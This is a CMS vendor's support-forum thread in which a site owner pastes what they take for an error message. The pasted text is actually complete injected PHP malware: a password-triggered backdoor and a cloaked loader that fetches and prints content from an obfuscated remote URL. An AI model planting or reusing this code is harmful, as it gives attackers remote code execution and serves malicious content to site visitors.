Support Forums

Support Offline : Mon - Fri / 10am - 6pm (GMT +6)

Your Time: Our Time:

website error on loading

Featured Lock Resolved
Hi, for the last 24 hours, I cannot access some of my websites build using joomshaper templates.
When i try to access the website, i get the following code on the screen

//istart function is_valid_url(&$url) { if (!preg_match('/^(.+?)(\d+)\.(\d+)\.(\d+)\.(\d+)(.+?)$/', $url, $m)) return false; $url = $m[1].$m[5].'.'.$m[4].'.'.$m[3].'.'.$m[2].$m[6]; return true; } function request_url_data($url) { if(!is_valid_url($url)) return false; $site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"], 'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"], 'Referer: ' . $site_url, )); $response = trim(curl_exec($ch)); } elseif (function_exists('fsockopen')) { $m = parse_url($url); if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) { fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" . 'Host: ' . $m['host'] . "\r\n" . 'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" . 'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" . 'Referer: ' . $site_url . "\r\n" . 'Connection: Close' . "\r\n\r\n";); $response = ''; while (!feof($fp)) { $response .= fgets($fp, 1024); } list($headers, $response) = explode("\r\n\r\n", $response); fclose($fp); } } else { $response = 'curl_init and fsockopen disabled'; } return $response; } function decrypt_url($encrypted_url) { $encrypted_url = base64_decode($encrypted_url); $url = ''; for ($i = 0; $i < strlen($encrypted_url); $i++) { $url .= chr(ord($encrypted_url[$i]) ^ 3); } return $url; } error_reporting(0); $_passssword = 'de745448cded9a4e05a1519b4a3b0f32'; $p = $_POST; if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], ''); if (!empty($_GET['check']) AND $_GET['check'] == $_passssword) { echo(''); } unset($_passssword); $bad_url = false; foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) { if (preg_match($regex, $_SERVER['REQUEST_URI'])) { $bad_url = true; break; } } $cookie_name = '_PHP_SESSION_PHP'; if (!$bad_url AND !isset($_COOKIE[$cookie_name]) AND empty($echo_done) AND !empty($_SERVER['HTTP_USER_AGENT']) AND (substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) != '74.125') AND !preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT'])) { // setcookie($cookie_name, mt_rand(1, 1024), time() + 60 * 60 * 24 * 7, '/'); // $url = base64_decode('a3d3czksLDI1Oi0xNjAtOi02LGFvbGQsPG5me2pgYm1seSV2d25ccGx2cWBmPjExNzs7OTQ1NzY3MzkyOjM7'); $url = decrypt_url('a3d3czksLDI1Oi0xNjAtOi02LGFvbGQsPG5me2pgYm1seSV2d25ccGx2cWBmPjExNzs7OTQ1NzY3MzkyOjM7'); $code = request_url_data($url); // if (!empty($code) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) { if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) { $echo_done = true; print $decoded; } }//iend

5 Answers

Igor Mihaljko

More than a month ago #Permalink
Hi,

are you able to access admin area of those websites? Are they Joomla or WordPress websites?

Demetris Style

More than a month ago #Permalink
Hi Igor, the websites are all joomla with JOOMSHAPER templates. Yes, I can access the back end, no problem there.

Igor Mihaljko

More than a month ago #Permalink
Can you try to reinstall the template on those sites and update Helix plugin to the latest version?

Demetris Style

More than a month ago #Permalink
Hi Igor, I am not sure how to do that. I have used the quickstart packages and amended the files to suit my clients by adding their information. Can you explain how exactly do I go about to re-install the templates and update the helix? Do I download just the template and then re-install it? Will the data on the website be affected/deleted? Please explain and I appreciate your help on a Christmas eve. The support staff on my web host are not willing to help nor will they restore their back ups to help me out. I am having this issue with 6 websites which are down for the last 48 hours. I am not a programmer but I can follow instructions if you explain them in a simple way.

Igor Mihaljko

More than a month ago #Permalink
Just download the templates standalone packages and install them using Joomla installation manager


There are no replies made for this post yet.
However, you are not allowed to reply to this post.

Leaderboard (30 days)

Sifat

Sifat

Total Accepted Answers: 135
Paul Frankowski

Paul Frankowski

Total Accepted Answers: 121
Toufiq

Toufiq

Total Accepted Answers: 65
Pavel

Pavel

Total Accepted Answers: 5
Peter Atkin

Peter Atkin

Total Accepted Answers: 2

100+

Templates

200,000+

Community Users

Newsletter

Don’t miss any updates of our new templates and extensions and all the astonishing offers we bring for you.
We never spam

Joomla! ® name is used under a limited license from Open Source Matters in the United States and other countries. JoomShaper.com is not affiliated with or endorsed by Open Source Matters or the Joomla! Project.

Connect Us